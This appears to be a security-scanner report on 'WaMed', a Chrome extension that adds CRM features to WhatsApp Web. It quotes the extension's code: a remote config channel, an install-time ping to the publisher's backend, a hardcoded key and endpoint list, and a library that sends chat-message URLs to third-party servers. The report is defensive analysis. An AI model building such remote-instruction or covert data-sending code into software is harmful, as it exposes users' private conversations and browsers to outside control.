Security Alert: Malware Risk Confirmed
WaMed
ID: endfahndaiibchcbfaphnhanpckdhmll
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- IntzpView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Email Change History
WaMed é um CRM para WhatsApp Web. Organize seus chats e otimize seus negócios no WhatsApp Web
Com novas funcionalidades para whatsapp web, você pode ter mais controle sobre seus leads além de prospectar mais clientes com envios em massa e exportação de contatos na WaMed. Crie um verdadeiro funil de CRM para vender mais. Características: ✔ Envio em massa para seus contatos ou contatos importados por csv ✔ Crie Abas personalizadas, encontre facilmente seus contatos importantes Visão Kanban dos contatos do whatsapp organize seus leads ✔ Envie mensagens para um número que não esteja na sua agenda ✔ Crie notas para cada contato dentro do contato ✔ Você tem que ligar de volta? Crie lembretes para cada contato ✔ Agende Reuniões no google agenda direto do seu whatsapp ✔ Crie lembretes de forma simples e seja notificado no seu próprio whatsapp web ✔ Crie um banco de respostas rápidas para enviar com um clique ✔ Exporte todos seus contatos do whatsapp ou contatos de grupos de wpp ✔ Use em seu idioma nativo (português, espanhol, inglês) ✔ Borre as mensagens do seu whatsapp web para criar vídeos tutorias Importante: ✔ Aprovado na auditoria de segurança do Google Chrome ✔ Não usa banco de dados, tudo acontece no seu computador. WaMed é uma extensão independente do Chrome que adiciona recursos extras ao seu WhatsApp web, não fazemos parte do WhatsApp Inc., não temos contrato de uso ou licenças exclusivas. WhatsApp é a marca registrada da WhatsApp Inc.
Every 10 minutes the background service worker fetches a JSON blob from code.wascript.com.br/config.json — a field explicitly named 'remote_code' in the hardcoded config object — and forwards the entire server response to the content script injected into WhatsApp Web via the Update_DomSelector message. The content script that receives and acts on this payload is absent from the analysis bundle, making it impossible to determine whether this channel delivers only DOM selectors or executable code. Combined with the internal IoC report naming this extension 'WaSteal', this constitutes a live remote instruction channel that can be repurposed at any time to push arbitrary behavior changes into every active installation.
const t = await (await fetch(`${n.remote_code}config.json`, { method: "GET"})).json();return s("https://web.whatsapp.com/*", "Update_DomSelector", t), t;On every install event the extension sends its unique runtime ID to backend-plugin.wascript.com.br, giving the publisher a real-time registry of all active installations keyed by extension ID. The server response can instruct the background script to open a new browser tab to any arbitrary URL, creating a targeted push-notification capability — the publisher can deliver URLs to specific extension instances immediately after install without any user action.
// On chrome.runtime.onInstalled:await fetch(`${n.backend_plugin}api/urls/install/${chrome.runtime.id}`, { method: "GET"})// Response can open a new tab to any URL returned by the serverThe extension's internal brand name is 'watidy', not 'WaMed' as listed in the Chrome Web Store, indicating a white-labeled payload rebranded for distribution. A hardcoded symmetric encryption key (cript_key) is declared in the shared config object but is never referenced anywhere in the files present in this bundle — its only consumer is the missing content script, a pattern consistent with encrypting harvested data before exfiltration to evade content-based detection.
const n = { name: "watidy", version: "7.4.3.55", cript_key: "ffce211a-7b07-4d91-ba5d-c40bb4034a83", backend_plugin: "https://backend-plugin.wascript.com.br/", backend: "https://painel-old.wascript.com.br/", backend_utils: "https://backend-utils.wascript.com.br/", webSocket: { "multi-atendimento": "https://multi-atendimento.wascript.com.br", "api-whatsapp": "https://api-whatsapp.wascript.com.br" }, painel_cliente: "https://app.wascript.com.br", audio_transcriber: "https://audio-transcriber.wascript.com.br/transcription", remote_code: "https://code.wascript.com.br/", midiaLimit: 50};The bundled WPP Connect library sends URLs extracted from WhatsApp chat messages to three third-party servers (uppermesh.com.br, titanchat.com.br, cloudtrix.com.br) for link preview generation. None of these domains are affiliated with the publisher (extensao.store or wascript.com.br). The CWS data-collection disclosure is empty ('none declared'), yet the content of users' WhatsApp conversations — specifically every URL contained in messages — is transmitted to these external parties without user consent or disclosure.
d = i.config.linkPreviewApiServers || [ "https://cobrancas.uppermesh.com.br:8000", "https://wajsapi.titanchat.com.br", "https://wppc-linkpreview.cloudtrix.com.br"]// ...const o = `${n}/v1/link-preview/fetch-data.png?url=` + encodeURI(e)By severity
Versions scanned
Showing 1 of 108 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 7.4.3.55 | 4 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js3
- whatsapp/wpp/index.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.
